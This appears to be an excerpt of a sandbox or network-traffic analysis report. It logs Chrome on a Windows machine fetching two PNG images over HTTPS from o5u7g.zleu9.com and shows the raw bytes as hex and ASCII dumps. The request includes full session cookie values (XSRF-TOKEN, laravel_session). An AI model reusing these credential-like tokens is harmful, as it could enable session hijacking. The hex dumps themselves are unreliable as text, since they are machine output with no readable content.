2024-04-24 06:22:06 UTC	713	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db 37 ae e1 c6 95 0b 48 fc 98 90 a5 65 e6 e6 79 e0 e8 52 18 4e 2e ae 28 5c a4 Data Ascii: +bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz7HeyRN.(\
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f 56 0b 53 46 f4 a2 0a 0f 66 8c 1a 08 30 a2 57 03 34 23 68 a2 d6 80 6a 04 b8 Data Ascii: .[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0CVSFf0W4#hj
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad 47 b5 06 54 b1 81 90 9d 3d b2 b9 e7 2b 57 a9 82 35 ab 57 f3 82 97 ec 6c be Data Ascii: 1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^GT=+W5Wl
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac 5b c7 cd 9e 39 93 ca 2e 5f b1 0a da 86 48 ce 42 27 e5 f2 b9 93 38 76 40 92 Data Ascii: JS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|[9._HB'8v@
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 c7 8e 1e a5 fd 8e 18 39 12 bd 7a f4 d0 0a 26 2d 5b b6 e4 22 23 25 47 b6 e6 Data Ascii: ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq9z&-["#%G
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e fa f5 6b da 6f df 61 a3 51 b8 88 3b e2 3f bc a7 b7 e9 9f 44 de 47 61 b7 a2 Data Ascii: #zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.koaQ;?DGa
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a 21 5b d9 c7 a3 5e e1 e7 f3 e7 91 90 fc 7d 07 88 be c6 17 6d f6 cb 88 5e 9b Data Ascii: jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J![^}m^
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 61 02 15 e7 e7 57 0b cb 97 2f 13 ad ad 9a 62 f6 29 29 96 33 e1 92 80 6f e4 Data Ascii: L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4aW/b))3o
2024-04-24 06:22:06 UTC	474	IN	Data Raw: dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 8c 78 24 33 9e 18 0b 23 7a 31 7a 55 b7 36 09 9e fc 36 6d d9 c2 4d 9d 3c 99 a2 62 6a 6a 8a 3e 43 46 c2 d9 d5 4d 21 4a 61 97 ce 61 cf d6 0d d2 7a 5b b6 6e 43 d9 32 5e 82 b7 57 a1 61 ac 42 b6 08 30 a2 97 87 c6 3d af 0d 36 05 d6 87 b3 95 f2 e9 67 95 c9 76 a7 ad 10 54 37 b9 4e 64 7c 02 3a 1e 3d 86 77 59 3c be d3 96 ae ba 94 cb 88 5e 97 68 8b b3 Data Ascii: FNF^<Tx~e\*MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(Rx$3#z1zU66mM<bjj>CFM!Jaaz[nC2^WaB0=6gvT7Nd\|:=wY<^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49812	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:05 UTC	1126	OUT	GET /ghNa4wLQP2OPEa9yshBcpr4efS5s5gdiDgklu0B4xFFqbm5P1vQiCliLqsoef210 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:06 UTC	656	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:06 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghNa4wLQP2OPEa9yshBcpr4efS5s5gdiDgklu0B4xFFqbm5P1vQiCliLqsoef210" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2F5Y20FLlb1C9qjojdfXxADbYVDagsxic45f0wa9gLbdQhHDnVbwLmpTIVkB%2BMSQ3tubvN2q9JnJiO7UMlcFehBcuzufmnYpEBEJTNndiMlgG4jA46yCoI79ThovIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff391e645361-LAX
2024-04-24 06:22:06 UTC	713	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 49 92 24 49 92 24 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 49 92 24 49 92 24 05 db 88 b4 aa c3 24 e2 27 53 Data Ascii: I$I$egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$I$I$$'S
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: e7 50 9f 95 44 24 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe ca de c0 b1 23 70 13 30 34 3a 48 cd 4d 07 fe 45 Data Ascii: PD$IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$#p04:HME
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: e9 7a 77 8e c1 93 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 49 92 24 65 b1 22 30 81 f8 c9 b4 a2 eb bb c0 e0 Data Ascii: zw$I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$I$e"0
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 28 4a e5 72 3e f1 d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b 4c 26 fe 9c eb 74 bd 42 6a 5c 91 ba cd 59 c4 5f Data Ascii: (Jr>V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQmL&tBj\Y_
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: fa 33 84 6a 3f 20 d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 c6 43 f1 06 00 37 11 7f 7e 75 a2 26 e3 e4 ad 94 Data Ascii: 3j? !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LVC7~u&
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 25 d0 5f 03 c7 f6 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e 2b 70 b8 fa 46 b5 bd 9d fa 3e ed 3b 07 f8 4f e0 Data Ascii: %_OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.+pF>;O
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: e0 ec e8 10 52 c9 f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 93 9a 38 be dd cf 9f 1d b5 b8 0f 9c d7 c0 d1 ee 72 21 9d f6 3c 30 Data Ascii: R?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8r!<0
